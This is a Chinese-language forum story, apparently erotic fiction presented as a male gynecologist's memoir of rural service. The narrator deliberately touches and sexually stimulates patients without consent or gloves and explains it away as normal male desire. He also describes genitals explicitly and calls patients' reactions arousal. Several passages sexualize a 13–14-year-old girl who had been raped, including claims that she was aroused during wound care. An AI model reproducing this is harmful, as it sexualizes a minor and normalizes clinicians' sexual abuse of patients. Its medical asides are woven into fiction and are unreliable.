图片载入中

妇科那些事儿

特大字】 【大字】 【中字】 【小字

前言

严格的说我下面要写的内容并不算是偷窥,至少在行为上不算是,但在做妇科医生一年期间,我常常有一种偷窥般的心理在活动。

很多人说在医生眼里病人是没有性别之分的,这纯属话,如果真能做到这一点,我要说这个医生正常的性心理可能已严重缺失,他的性能力究竟还能保持多少更是一个疑问。

因此,只要是一个正常的男人,在面对可以对自己形成诱惑的女人时,他就应该有性意识活动的表现,的确有许多妇科男医生因为长期接触女性生殖器而导致限制性性功能障碍,这正是长期性刺激与冲撞的结果,就与有的同好一样,因长期偷窥得到某种快感而丧失正常性勃起功能。

我所写只是记录我那一年所经历的有趣的事情,既有我的糗事,更有那些看似矜持端庄、高雅贤淑女人的糗事,因为时间间隔太久,我脱离医生这个行业又有十多年了,要写好也并不容易,因此,希望论坛的朋友多多支持,我也能坚持写下去。

那一年,我毕业于华中某医学院,临床医学系,其实我对做医生毫无兴趣,但阴错阳差的念了医学院,毕业后我分配到某地级市的一个二甲医院,开始在急诊室做值班医生。

医院的待遇并不好,而且很累,那段时间我过得很是灰暗,大约过了半年,让我去了妇科,说是有二个老医生辞职去了沿海城市,又有二个办了内退去外面坐堂,因此妇科一下人手非常紧张。

一般医院的妇科都是医院收入最稳定的科室,因此人员、设备及场地都是医院优先支持的,于是我就被充实到这个科室,当时我的心理上很是接受,因为前一阵精神很压抑和紧张,而且妇科的待遇远远要好过急诊科。

但我没想到,到妇科报到还没正式上班就被医院派去支持乡下,时间是三个月。

虽然科室人手紧张,但去乡下是个政治性任务,从院长到科室主任都不敢怠慢,于是我又成为牺牲品。

相比其它科室的医生我还是算好的,由于设备场地的限制,我不用去田间地头和走家串户,只是在乡卫生院妇科上班。

一天下午科里医生就我一人(平时大多也是一人),我在诊疗室坐着,有一个年纪大概三十多少的女人从门口探头探脑的朝里看,我心里明白,她是想看看诊疗室还有没有别的女医生。

对这种情形早听同事说过,我也详装不知,仍看着一本书。

过了四、五分钟,那女人扭妮的走了进来,怯怯的坐在我身前的凳子上,说医生我要看病。

这女人半年前开始下阴持续瘙痒,先是觉得是下阴分泌物太多了,于是每天用痱子粉擦,无效后又用中草药煮水清洗,但不仅无效而且更严重了。

我尽可能平静的对她,你到里面检查室把裤子脱了,我要检查一下。

她听了脸马上就红了,似乎很不好意思,我没理她,自己先进了检查室并顺手把门帘放了下来。

在我准备器械时她走了进来,在检查床前背对着我开始脱裤子,显然她很少经历这种赤裸裸的检查,因为她并不像别的女人那样只是脱去一边裤管,她把下面的内外裤脱得干干净净。

她躺在检查床上,两腿本能的夹着,脸红红的朝着墙,在灯光下,她的大腿很白皙,这山里的农妇我感觉皮肤大都很细腻,一方水土养一方人。

她的阴毛很茂盛,也在灯光下熠熠发亮,我走到床前,将她的两条腿分开,尽可能把脚支架的角度调节大,她丑陋的阴道口就赫然暴露在我的眼前。

我带上PE手套,开始替她整理阴毛,她的阴毛很多,从下腹耻骨一直沿伸到肛口周围。

我先是把耻骨尽可能往上梳理,然后又把大小阴唇边的阴毛往外分,这时我发现她的阴道口已经流出了一些亮晶晶的液体,阴蒂也在充血,我瞟了她一眼,她正闭着眼睛,脸更加红晕,似乎有点享受。

她的外阴皮肤着色较深,阴道口很大,这都是性活动较频繁所致。

我发现在她左侧大阴唇处有一块0.6公分左右的白斑,周围有明显抓痕,已呈粗糙萎缩状,但触摸弹性尚好,外阴白斑一般伴有奇痒,可持续数月乃至20年之久,这种搔痒不分季节与昼夜,叫人难以忍受。

如伴有滴虫性阴道炎或霉菌性阴道炎,搔痒将加剧,检查完毕,她站在我的眼前裸着下身,一边用卫生纸边擦着下身,一边问我是什么病,完全不像先前那样羞怯,我摘着手套,眼睛却在看着她的动作。

她两腿分得很开,因为污染桶是固定在检查床下的,所以她几乎是裸着下身半蹲在我面前在擦阴部,看着就像是女人便后在擦拭屁股一样。

这时我脑袋一热,走上前说你站起来,女人停止了动作站了起来,我用手摸着她的阴部说,你内侧阴毛太多,可能不方便上药,我给你备一下皮吧。

这时我并没有带手套,这种触摸更有质感,她显然也没料到会有这种突出其来的刺激,身子猛的一抖。

她语调有些发颤的问我:“什么是备……皮……?”

我的手指仍在她的大小阴唇间游动着,平静的对她说:“你可能是萎缩性外阴白斑,是一种慢性炎症导致的变态反应,先局部用药治疗,如果效果不好你可能要进行激光手术治疗。”

她大概是很紧张,并没有在意我的手仍在她的下阴摆弄着。

事后我想过,自己的胆子的确很大,幸亏她只是一个山里的农妇,又怕又羞,也不敢说别的。

前年,我一个在三甲医院做妇科教授的同学,在检查一个美女时,因为手指在她的阴道里多停留了二分钟就遭到投拆,气得这位仁兄在这随后的一周检查治疗中,所以来就诊的女人都要做三合诊(什么是三合诊,就是一只手的中指插入肛门,食指插入阴道,另一只手也不能闲着,要压在小腹的阴毛周围,具体的感觉我将在后面进行描述)。

我感觉到她在我的刺激下阴道口已在流液体了,我走到消毒池前边洗着手边说:“备皮就是剃毛,你患处周围的毛太长太密,不处理干净不便于治疗,如果你局部用药,效果不好,行激光术时也要备皮。”

她听了更害怕:“医生我这病不要紧吧。”

我说:“先治疗吧,如果没有改善你再来。”

这时她又躺在检查床上,很熟练的把两腿分开,灯光下,我看到她的阴道口流出很多液体,心想都说阴毛多的女人性欲旺盛还真是有理。

我坐在她的两腿之间,这种态式在医学院时我们都称为口交式,这次我并没有带口罩,因为她的阴部其实很干净,检查时也没有发现阴道、宫颈炎症,即使不带口罩我也闻不到她下面的一点异味。

我带上PE手套,先是用卫生纸将她流出来的液体擦干净,然后开始消毒,妇科手术的备皮程序的消毒是非常严格的,从大腿上三分之一到剑突以下的暴露处都要消毒,尤其是像大小阴唇这样皱褶较多的部位更要反复清擦,遇到小阴唇较长的患者还要阴唇拉开消毒。

备皮是指术野内的皮肤准备,其中有清洁消毒、皮肤保护还有就是剃毛。 剃毛之前先用肥皂水或碘伏沾湿毛发,然后用手术圆刀片剃毛,现也有的医院采用脱毛液或使用电动脱毛器,但不管用什么方法,都需要人来清除。

在急诊科时,我曾帮助一个护士MM给一个小弟弟剃会阴处的毛,因为那个护士MM才从护士学校毕业,感觉自己给一个十七、八岁弟弟剃阴毛的确很不好意思,她哥哥长哥哥短的求了我半天才答应她,因为我非常不喜欢去碰一个男人的阴部,为此她请我吃了一顿早餐。

还有一次在值夜班时送来了一个急性阑尾炎的患者,是一个20岁的年轻女孩,好像是本市师范学校的一个学生。

我去急诊手术室时看到一个护士正在给女孩剃毛(现在腹部手术备皮剃阴毛越来越少了),她雪白的腹部以下已经全裸,可能是护士在学校时没练过备皮剃毛或者是太紧张,她没刮两下就把女孩的阴部划了个细痕,幸亏没有破。

我瞪了她一眼,从她手中接过刀片,又拿了一付新的PE手套,将里面的粉扑在阴毛上,然后一只手拨开阴毛,顺着发根轻轻刮了起来,不到三、四分钟就搞定了。

这时我才仔细打量躺在面前的这个女孩,她的两腿修长、长相文静靓丽,是一个不折不扣的美女,现在她那已没有阴毛遮盖的私处暴露无遗,一条细缝夹在微微隆起的大阴唇之间,细细嫩嫩的。

这时我感觉我的下体在迅速胀大,我使劲咽了咽口水,以压抑我不该出现的欲潮,看到我在看她,她的脸一下就红了,神态非常羞涩,但她并没有躲避我的目光而是勇敢的看着我,她的眼神中透出的全是感激。

我起身取东西,但就在这个时候女人突然从检查椅爬了起来,我困惑的望着她,不知其故,她的动作很快,我还没回过神她已经把短裤套上了。

这时她才对我说:“那里的毛我不敢剃的,男人看到我这样了要打死我的!” 我哭笑不得看着她,无奈的说:“那就算了,最好让你男人帮你上药,注意上药前要把周围清洗干净,不要用肥皂洗,用温水就行了。”

她临走时对我千恩万谢,这反而让我心对她多少有一些愧疚,裸手摸她的阴部、检查时对她的敏感处刻意的刺激,这些都超出了医院妇科的工作条例,没办法,我首先是一个正常的男人,然后才是一个妇科医生。

大概是我结束下乡的最后一个星期,那天下班后,我在诊室看了一会书才收拾桌上的东西准备离开,正在这时就听到后面有人说医生能看个病吗?我听是一个男人的声音诧异的回过头,只见一个约五十岁的男人,后面还站着一个十四、五岁的小女孩。

我有些恼火,因为诊室外面有一块‘男士止步’这样的警示牌,如果现在里面有女人在检查岂不是麻烦了,我板着脸对男人说:“谁看病?”

这话一出口我就知道有毛病,除了这个小女孩还能有谁呢?那男人没注意我话里的病,只是急急把小女孩往我身前一推:“就是她要看病。”

我对男人说:“你是她什么人?”

男人说:“我是她爹。”

我看了看小女孩又对男人说:“请你去外面等吧。”

男人满心不情愿的走出诊室,但仍在门口不时往里张望。

我让小女孩坐下,然后问她:“哪不舒服?”

小女孩脸红红的低着头一句话也不讲,我不耐烦了,对门外说:“你进来。” 男人进来后把手指往小女孩头上的一点:“老子真让你给急死了!”

原来这小女孩五个月前去叔叔家玩,因为玩得晚了就睡在叔叔家里,没想到半夜被叔叔妻家的一个亲戚摸到床上强奸了,山里人好面子,都是亲戚,何况孩子又还没说亲,让对方赔了二千元也就算了,但没想到过了几个月后小女孩的肚子竟一天天凸出,家里人这时才惊慌起来。

我对男人说:“你出去吧,有事我再叫你。”

男人说:“没事的,我是她爹,这里也没旁人。”

我提高了语气:“请你出去等!”

男人嘴里嘟啷着走出诊室。

我看小女孩仍然不肯分开双腿,就说:“如果你不让检查那只好让你爸爸带你去县医院看病,那里有好多男医生,还有进进出出的病人家属,到时会让你更感觉害羞。”

小女孩听了果然怕了,我感觉她的腿没再用力,于是轻轻把她的双腿放在支架上,她的外阴完全暴露在我的眼前,小女孩害羞的用双手摀住了脸。

她的外阴非常干净,呈粉红色,小阴唇还没有完全生成,她的阴毛基本集中在阴户上,是十三、四岁少女的正常发育状态。

她的会阴高高隆起,这是病灶所致,我用手先按了按两侧大阴唇并无异常,又检查了她的肛门都很正常,但在我分开她的小阴唇暴露阴道时,可见兰紫色膜状彭出,立即就知道小女孩腹部隆起的原因了,她患的是先天性‘处女膜闭锁’! 在这里我简单的给兄弟们介绍一下发病基理,‘处女膜闭锁’,一般女性因胚胎期处女膜褶过度发育,就是长得太厚实了,而且处女膜中央有孔,孔的形状有半月状、园孔状、椭园形、筛状等,其厚度约2毫米。

但这个小女孩的处女膜没有形成膜孔,这种先天性畸形就叫做称‘处女膜闭锁’,俗称石女。

一般在青春期女孩来月经后,经血不能排出,造成经血滞留,她腹部隆起也就是这个原因,下面那个图片就是一例典型的‘处女膜闭锁’。

我走出检查室,把小女孩的父亲叫了进来,把她的病情大致说了一遍,她父亲一听女儿是石女,脸上的神情马上惊慌起来,拉着我的手就势便跪下了。

我说:“你别跪着,站起来说话,我刚才在小女孩处女膜彭出处用探针穿刺,抽出的都是褐色的血,说明有阴道积血或腹腔积血,应该病情并不严重,只要做一个处女膜切割术排出积血应当就可以清除病灶。”

我看了看时间已经是晚上七点多了,就去值班室叫了个护士,让她给小女孩作外阴备皮,我自己则准备手术器械等。

护士在备皮时遇到麻烦,小女孩可能对这个陌生的人有抵触情绪,碘伏涂上后就夹起腿不再让她做了。

女人的心理有时很难讲清楚,比如有的女人喜欢看另一个女人裸体的愿望甚至比男人还强烈,而这个女孩就显然更忌讳将私处毫无遮掩的面对一个同性。 护士无奈的把我叫过来,自己退到一侧,小女孩见我过来立刻放松,两腿很自然的分开了,她的阴毛本来就不多,发质柔软,不到五分钟我就把女孩阴户上的那点毛剃净,这样术野备皮基本结束。

手术很简单,我在她的处女膜上作“X”形切开,然后引出积血约150㏄,因为在切口时我非常注意,故创口不是很大,并不需作缝合。

术毕小女孩虽然下身很疼,但看着自己肚子已平坦如昔非常羞涩的笑了,小女孩在医院住了三天,主要是创口上药消毒,但她仍拒绝在任何人面前暴露私处,只肯要我来做。

出院那天我问她为什么不愿意让姐姐们给她处理伤口,小女孩脸马上就红了,我便不再问下去。

在我给她最后一次处理创口时,我发现小女孩神情有些异样,开始只是脸颊潮红,唿吸略显急促,然后阴蒂充血变大,阴道口也有些液体渗出,我知道她出现了不该有的反应,赶紧用镊子轻轻拨了一下切口中,她痛苦的呻吟了一下就慢慢平静下来。

她父亲接她出院时给我带来了很多山货,在办公室我看她父亲几次欲言又止,似乎有话要说,我就对他说:“你如果有什么问题就问吧。”

原来他是想问小女孩是否真的被强奸了,我说:“以她处女膜的厚度,男人的阴茎不可能插入,那人只能是未遂,估计是那人自己起了禽兽之心,虽然没有得手,但大半夜跑到小女孩床上扒了她的裤子,那还有脸分辩,只能吃个哑巴亏了。” 我又说:“即使她以后嫁人,处女膜仍可能会破裂出血。”

她父亲一听非常高兴,立刻跪下给我磕头,我站着手足无措的拦着,心里又一次感受到医生这个职业的崇高。

在结束下乡医疗工作后,通常都会有半个月的休假,我早有计划利用这个假期回去探望父母。

但当我即将告别这家陈旧、落后且缺乏有经验的医护人员的山区医院时,我的行程被人阻止了。

乡长与卫生院的院长找到了我,两人非常诚恳的希望我能再留一段时间,其原因我很清楚,像妇科这样专业性很强的领域,一个经过专业学习并有一定实践经验的医生,对于一个山区医院是多么的重要。

于是我留下来了,虽然内心不是很情愿,但自己实在受不了别人渴望的目光,如果拒绝这种目光似乎有些残忍。

在续留的这段时间里,我诊治了许多患有各种妇科病的山区妇女,有的已到了非常严重的阶段,病灶可能已发生病变,我常常感觉压抑,因为缺乏有效的治疗设备。

在诊治的过程中,我曾经询问过她们的一些自我保健方面的问题,但她们的回答经常让我目瞪口呆!这些可能要劳作一生的女人们几乎没有什么经期卫生保健,至于性方面的卫生保健,说句不好听的,她们的两性生活与动物无异。

我曾接诊过一个只有二十四的妇女,在我检查时发现她已是重度乳头型宫颈糜烂,她的内裤上附有大量的粘性分泌物,问及她的性生活史,她红着脸不肯说。 在我给她做双合诊检查时,当我的食指与中指刚刚放进她的阴道,她的双腿便开始颤抖,开始我并没有介意,以为是自己手指进入时弄痛了她,但随着我手指的渐渐深入,她的唿吸变得局促起来,阴蒂明显充血,小阴唇也渐渐变大,最后她甚至嘴里还发出了快感类的轻微呻吟。

我略感诧异的瞥了她一眼,女人似乎已无法控制自己的反应,只能紧闭着眼,脸上泛起一片潮红,当时我心里很纳闷,虽然以前在我做检查时,也有女人出现一些如分泌物增加,小阴唇变大、阴蒂充血等性特征反应,但像她这样强烈的反应还是第一次遇到。

由于两指已伸到阴道的排查位置,我不可能停下来,只是指尖略略发了力希望能产生一阵痛感以让她平静下来,但没想到,刚才的用力反而更加刺激了她,我感觉她的阴道在一阵阵紧缩,她的双腿不由自主的想往里夹着,我站在她的面前有些手足无措,这是我第一次遇到这种尴尬的情形。

我无法再继续检查,只能把两指抽出,摘下PE手套洗了下手,然后走出检查室郁闷的点上一支烟,抽完一支烟后我再次走进检查室,她正叉着双腿坐在检查椅上用卫生纸擦试着阴部,看我进来她的脸马上红了,我没有与她的目光对接,只是淡淡的说了句继续吧,就转过身去取PE手套。

她的宫颈糜烂非常严重,这应是长期不洁性交所致,我建议她去市医院做个病理子宫颈CA排查。

在结束检查后她在我面前已经不再羞涩,一边穿裤子一边对我说,她和他男人几乎每天都要整那事,男人喜欢用手插她的阴道,不管是做什么活回来,也不管她是否在月经期,只要想了就立即脱了她的裤子,也不洗手,先用手沾些口水插进去,弄一会儿后才开始真正的性交。

久而久之,男人的手指插入就能让她迅速达到高潮,之前我行双合诊检查术,当两指伸入时就立即刺激了她的性反应,我听了感觉很恐怖,从没想到一个人的性欲会是这样,没有爱抚,只有疯狂的发泄。

我的手指修长而纤细,记得我上大四在一家妇产医院实习时,一位国内非常有名的妇科专家看到我的手指后就笑着说,小伙子,看看你的手,真是妇科手。 由于女人特殊的生理结构,一个妇科医生不可避免的要将手指伸入阴道、肛门,双合诊就是检查者一手戴无菌手套,以食、中二指沾无菌肥皂液少许后伸入阴道内,触摸阴道的弹性、通畅度,有无触痛,畸形、肿物、后穹窿结节及饱满感,但如果检查者手指太短,可能根本不能触及卵巢、输卵管甚至宫颈。

真正困难的是三合诊,即检查者以一手指伸入阴道、中指伸入直肠,另一手置于下腹部协同触诊,中指要触查到子宫直肠窝、阴道直肠隔、盆腔内侧壁及直肠等情况,这些听着就犯晕。

如果检查者手法生疏,那么患者就非常难受,我几次看到当检查者的中指伸入患者的肛门后,患者痛极而泣,不仅仅是痛,由于肛门压力增大,患者还会产生便意,为了避免尴尬,女人只能咬紧牙关强忍便意,否则大便就会从手指间溢出,这些我会在后面结合实例讲述。

我很欣慰自己在急诊室工作的那段经历,这让我能处理好许多护士与医生都可能做不好的事情,要知道,当一个医护人员做不好一件事情时,那么就意味着给病人增加更多的痛苦甚至会危及生命。

下面就是一个非常典型的病例。

无论男人还是女人的外阴都是一个很隐蔽的区域,如男人是阴茎、阴囊和肛门,而女人该部位组织则相对更疏松,血运更丰富,因为它汇集了尿道、阴道和肛门三个重要开口之集中处,这些器官都在全身之中,位躯体之下,一般来说是它们是人体外最为安全的地带。

最安全的并不意味着就能免于外力的冲撞,相反一旦在失去掩护的状况下,其在外力冲击的后果是很严重的。

在我的临床中常可以遇到这样的病例,下面说的这个病例是我在这次下乡时遇到的。

一个十三、四岁的小女孩在学骑自行车时跌倒,造成外阴骑跨伤,摔伤后女孩虽然感觉下身疼痛难忍,但她当时并不敢给父母讲,一是害羞,二是那自行车是她从学校偷着骑回来的,直至下午,她已不能正常行走了,被母亲看出才道出实情。 她母亲在她脱下裤子后一看就吓得大哭起来,赶紧叫人送到医院。

送来时已是晚上,值班医生是个从医专毕业没多久的MM,经验并不丰富,体外检查发现小女孩外阴有出血性的创伤,就立即在局麻下行清创缝合术,但这只是一般开放性外伤止血的处理方式,而他没有想到妇科外阴伤有可能会更复杂一些。 第二天早晨发现女孩外阴血肿已达耻骨水平,外科这时才想通知妇科参加会诊,说是会诊其实就是我与昨晚那外科医生二人一起研究病情,我怀疑除了外阴血肿阴道内也有血肿。

在随后的阴道检查中,我发现阴道壁有一个约5公分的血肿,以指触之并无疼痛感,当即我让女孩转到妇科病房,为了减少女孩的痛苦,我并没采取引流,只是先用利多卡因与克林霉素局封,然后再用微波进行治疗。

住院期间每天用PP粉坐盆二次,在第四天我给女孩检查时,发现阴道壁的血肿已基本吸收,这才松了口气。

我本来打算让女孩外阴和阴道内的血肿全部消失后再出院,但偶然发生的一件事情让我改变了主意。

小女孩住院期间一直是父亲在陪护,妇科陪护多为女性,因为很多病人都是在病房内作检查的,这样陌生男人在房里多少有些不方便。

那女孩的母亲在孩子转到妇科病房就回去了,男人说家里还有二个更小的孩子需要照顾。

乡卫生院病房条件很差,一是生活设施非常简陋,二是门和窗都破旧不堪,女孩的病房除了她还住有二个女人,一个23岁,是产后外阴感染住院;另一个32岁,患的是霉菌性阴道炎。

对于病人家属我一般是很少注意的,女孩的父亲之所以让我有印象是之前发生在我和他之间的一个小冲突,那天我在外科与夜班医生交流后就让护士把女孩先推到妇科检查室。

当我走进检查室让护士帮忙脱下女孩裤子时,她父亲一下就从外面冲了进来,他红着眼睛,额上暴着青筋挡在我面前。

她父亲很壮实也非常高大,瘦弱的我在他面前显得很单薄,但我仍然很平静的对他说:“请让开。”

男人咬着牙说:“不叫你看!”

我突然大声说:“让开!”

声音之大在一旁的护士都吓了一跳。

男人嘴唇哆嗦着,似乎马上就要暴发一样,屋里的气氛变得非常紧张,这时躺在检查床上的女孩突然哭着说:“爸爸,你快出去啊!”

男人楞了一下,最后铁青着脸走了出去,这时我心里猛然泛起一阵委屈,回头看了看那女孩泪水几乎都要流出来了。

自这件事后我对女孩的父亲便有了很深刻的印象,与其说是印象还不如说是对他的一种后怕,如果那天不是小女孩的那句话,我怀疑她父亲的拳头真要砸在我的脸上,但不管怎么样,我还是能理解她父亲当时的态度,他的反应虽然有些过激,但像这种事情并不是每个男人都能坦然接受,尤其是对于一个山里的男人。 但下面的事情就让我改变了原先的想法;前面说了女孩的病房还住有二个女人,年龄都不是很大,尤其是产后感染的那个女人更是年轻。

我每次给她换药都是在病房进行,因为病情让她不太方便行走,一般换药时病房里的男人都自动退到门外,然后我关上门开始换药,换药时病人从腹部以下都是全裸的,医学上的体位叫膀胱截石位(白话点说就是仰卧,两腿呈八字分开)。 一个偶然的机会使我发现了一个秘密,这使我非常生气。

那天我让产妇暴露体位后,便开始消毒,但我不小心将一把医用镊掉在了地上,就在我弯腰拾时,发现距地有半米高的门缝里有一个脸影在晃动,我马上意识到是不是有人在偷窥,因为之前医院曾发生过这种事情。

我快步走过去拉开了门,发现女孩的父亲正脸冲着门蹲在地上,虽然他已看到我的走动但想改变姿态显然已经来不及了。

本来我还不是十分肯定,但他一脸慌乱的神情证实了我的猜测,我冷冷的看着他,发现他高大健壮的身体居然在我的直视下瑟瑟发抖,完全没有一点那天在检查室里的凶悍。

第二天我就让小女孩出院了,本来她还应该再住上三、二天的院。

我谈不上对那个男人有什么不好的感觉,我只是不愿意再面对他那张慌乱而猥琐的脸,我当时只是小声对他说了一句:“不要再这样了”就把门再次关上。 我不仅是为了女孩才选择沉默,还因为我能理解一个男人对偷窥女人隐私的偏执与疯狂,也知道一个喜欢偷窥的男人既喜欢偷窥别的女人,但又特别害怕自己的好市民达人勋章申请中

请大家帮忙按下面键连

之后帮忙按爱心

谢谢大家

女人对于男人首先是用来看的,不论你从哪个角度来看都是满足自己的需要,唯美的,猥亵的,对于男人而言都是正常的。

而早年的我对女人多是从外及里,复又由里及外的观察,因为这些女人多是身患苛疾,与其秀色可餐的光鲜外表显得反差极大,久而久之,在我的心理渐成阴影,若干年后的很多次,每当我看到女人脱下内裤显现外阴时,脑子里就会浮现我曾经治疗过诸多病体,我无法兴奋,很多次只能赫颜相对在我身下兴奋待“机”的女人。

那个时期我的心理压力相当大,考虑再三终于辞职,送掉一个本来看似不错的前程,当年的那些同事能力再不济的现在至少也是做到了副主任医师的级别。 自己做妇科医生最投入的时间就是在支乡的那半年,可能与自己当时尚处于职业初始阶段,同时自己的性心理的压力还没有形成。

我与正常男人并无不同,在遇到大腿皮肤细腻、臀部丰满、阴毛形状较好的年轻女性,在她们不经意的裸露或做出性感的体位时,我也会勃起,偶尔也会趁她们不注意时用检查床沿来摩擦获取快感,在快感消褪后,内心深处不时受到职业道德的遣责,于是我只能以更加用心治疗、极好的治疗态度的方式来缓解这种自责。 那天一上班院长早早就来到诊室,告诉今天下午乡长夫人要来检查身体,他再三请我一定要热情、积极的为她诊治。

在我的印象里,一般的乡官夫人都是身体臃肿、满脸赘肉,土得掉渣的老女人,但当我看到她时不得不承认我错了。

这是一个身材窈条、气质颇佳的女人,年龄还不到三十岁,远不是如我先前想像的那样。

她似乎早已知道即将为她检查的是一个年轻男人,我认为至少她的心理早就做好了充分的准备。

通过简单的交谈,她表现出来的症状是很多妇科病都会发生的那种,白带量大,一天至少要换二个护垫,当她排大小便时,白带有时会从阴道内不间断的流出,她说这种感觉就像来月经的头两天一样,只觉得肚子里的肠子就要掉下来似的。 我没和她作过多的交流,只是通过她对自己身体及症状的描述感觉此人对自己的隐私与大多数女人完全不同,在面对一个陌生男人时,她没有一点羞怯和尴尬。 我让她先去检查室准备,而我在外面填写问诊的病案,这样一可以避免病人脱衣的尴尬,二是我可以借这个时间初步判断病灶的所在。

写完了我发现她的病历上个人基本资料都是空白,于是就对里面的她说:“你的病历资料还没有写,麻烦你出来填一下。”

这时一个让我让我意想不到的场面出现了:门帘一挑她从里面走了出来,她已把外衣脱掉,上身只穿了件薄薄的短小内衣,而她的下身则是完全赤裸着。 她的大腿和小腹都是白白的,下身的阴毛很夸张的竖立着,她的这种裸露使没有一点心理准备的我脑子迅速充血,我努力使自己把目光转移到桌上某样东西上,同时暗吸一口长气,以压制自己砰然的心动。

她很自然的走到我的桌前然后弯下身快速填写着病历。

由于她就站在我眼皮子下,我感觉到她的体味,我的余光看到她的肢体和臀线在阳光下勾画出了一个女性优美性感的线条,我下面迅速勃起,感觉一股血直冲脑门,这时我已忘记自己是一个身负治病救人之职的医生。

我走进检查室时她已躺在检查床上了,正拿着手机发短信,见我进来对我微微一笑,神情自若,毫无不适之感;我略事准备了一下就打开检查床旁的冷光单孔探灯,调整灯距,然后坐在她的两腿间开始检查。

她的阴毛很多也很长,阴道口上全是被白带粘着的毛,我用手慢慢清理着,并用消毒棉擦拭阴道口边缘的渗出液,我知道很多妇科医生是非常不耐烦做这些工作,尤其是那些女医生,粘乎乎的有时还散发的异味,即使带着口罩也能嗅到那种气味,这种感觉让人非常难受。

女人与男人的性反应基本一致,也都存在个体差异;有的女人在整个检查过程中都是紧闭双眼,满脸通红,有的甚至浑身发抖,一半是源于对检查的恐惧,另一半则是因为医生对她一直尘封的隐私采取了一种近似残忍的侵犯和掠夺。

大概是我在为她整理阴毛的时候让她的下体有了明显的反应,阴蒂勃起,阴唇充血增大,并自然开放性扩张,使阴道口轻微暴露,而且阴道口已有透明分泌物溢出。

其实在给她整理阴毛的过程中我非常克制和注意,并没有直接用手触摸她的外阴,而是用刮板把粘在阴道口周围的阴毛拨弄开,然后用棉签清洗分泌物。 我在站起来更换PE手套时瞅了她一眼,她的脸一片腓红,一双喷火的美目正盯着我,在我和她目光对接的一刹那我的脸也红了,红得让自己很尴尬,至少她知道我已注意到她下体的那种变化。

我当时非常慌乱,像是也被她剥了衣裤一样,我假装在医用柜里找PE手套,努力想使自己砰动的心平静下来,过了一会我才低着头,脸红耳赤的又坐在她的两腿之间。

虽然她已看不到我的脸,但我仍然能感觉她的眼睛仍在注视着我。

正在这时,她突然说:“我的臀垫湿了,能不能给我换一张。”

我这时才注意到她身下的一次性臀垫上渍湿了一片,连肛门周上也满是分泌物,质量好的一次性臀垫是用无纺布做的,上面再喷涂一层聚乙烯膜,有很好的吸水性,但这家医院用的质量就差多了,薄薄的,几乎没有一点吸水性。

我说:“不用了,因为等会如果要冲洗外阴仍然会湿。”

她“嗯……”了一声就没言语了。

我感觉头很大,从医以来第一次遇到这样高敏感、而且对自己性生理变化不加丝毫掩饰的女人,我有些茫然的坐在她的两腿之间,不知道自己该如何进行下面的检查。

当时我已做了一段时间的妇科医生,始终没有明白女人为何性应变反应个体差异会那么大,至少我认为这种差异要比男人之间大得多,女人的放荡与性冷表现往往都在极至,看过电影非诚勿扰都知道秦奋相亲遇到一个“那事就那么有意思吗”的女人,其实现实中这种女人太多了。

我曾经为一个与她(乡长夫人)年龄相仿的女人查体,当她充分露体后,我发现她的皮肤很白很细,大腿光滑,小腹平坦,加之阴唇着色和形态都很好,我不由得动了心,在做阴道指检时我克意将手在里面多留了几分钟(这是非常危险的,因为现在很多医院妇科条例都有在指检时应尽量避免手指在阴道内停留在一分钟以上,使用检查器械比如窥阴器、探阴针等不得在阴道内来回抽送),并不经意的用大姆指触及她的阴蒂。

但令我诧异的是,她似乎对我的施加的种种刺激毫无反应,阴道口和检查前一样几乎没有什么分泌物,小腹和大腿跟处都是凉凉的,脸上既无羞涩的红晕,也无动欲的潮红,两眼直勾勾望着天花板。

我所遇到的大多数女人此时都会闭上眼,分开的大腿会无意识的向里夹,我不甘心,又加大了二个指尖插入的深度,并慢慢的转动,同时嘴上又故意问她在性交时阴茎插入时有无疼痛感,她平静的望着我说没有。

我继续说,那阴茎抽出后有无分泌物增加的现象,她仍然平静似水,没有!这时我觉得自己失败了,从内心感到一阵惊慌,我迅速把手抽出,然后起身逃也似的去了洗手池。

和这个女人比,乡长夫人是另一个极端,我再次把她的外阴清理干净,然后将一次性窥阴器插入她的阴道。

她的宫颈非常光滑,并没有发现有器质性病变和炎症反应,但她的阴道壁上发现有大量白带,并且清晰可见红肿和充血,另外还有几处浅表的小溃疡,这都是很明显的炎症反应。

我松了口气,因为我可以避免给她做尴尬的双合诊检查了,我用棉签在阴道壁沾取了些许分泌物后,就准备结束这次检查。

她见我站起,便问我:“检查结束了?”

我:“嗯……”了一声。

她并不像别的女人那样,检查一结束就匆匆起身套上内裤,仍然四平八稳的躺在检查床上。

我以为她没有听见,又对她说了一声:“你可以穿衣服了。”

她的神情很诧异,这么快就看好了?我不想让她在我的注视下穿内裤,就转背对着她,一边摘手套一边说:“你先去做个白带常规吧。”

没想到她却说:“我早知道自己有阴道炎,这次我是想查查自己还有什么别的毛病没有,因为我常常感觉自己有腰有下坠感,小肚子也常隐隐作痛。”

我犹豫了一下,还是坚持让她先去做白带常规,她却很固执的摇着头,表示来之前就听院长介绍我的指检技术非常好,如果没有做指检岂不是白折腾一回,我转过身,直视着她和她裸露的下体,突然有一种快要被她强奸的感觉。

我不想和她在这种状态下长时间争论,重新找了一双手套再次坐到她的两腿之间。

这时她又问道:“你用的是橡胶手套吗?”

我不解的点了下头。

她说:“我的阴道对橡胶手套过敏反应很大,经橡胶手套指查后外阴会有灼热感并伴随昼夜不止的严重骚痒,所以她在省城检查时一般都用德国进口的抗过敏环保手套。”

听她这么说我非常意外,因为一般只有我们专业人士才知道国内少数医院有这种价格昂贵的手套,女人身体对橡胶过敏以前我也遇到过,这种情况要么改用高端抗过敏手套或是改用器械探阴检查,但在这不太可能。

于是我明确告诉她这家医院是不可能有这种手套的,要不就放弃检查。

她犹豫了一下,用商量的口吻的对我说:“实在是麻烦你了,我既然已来了还是查一下比较放心,如果不介意的话,你可否不用带手套检查?”

我脑子嗡的一声就炸了,检查室空气象凝固了似的,我一直沉默无语。

她突然从检查床把身子支了起来,看着我说:“不可以吗?”

一个陌生极漂亮女人半坐在你面前,而且她的下身完全裸露着与你说话,我真是受不了她这样了。

我咬了咬嘴,低声说:“你躺下!”

说实在的,当听她说要我裸检时,我的头皮感觉发麻,可能有人会说裸手指检该有多爽,有这样的想法的人只能说明他是一个男人而不是妇科医生。

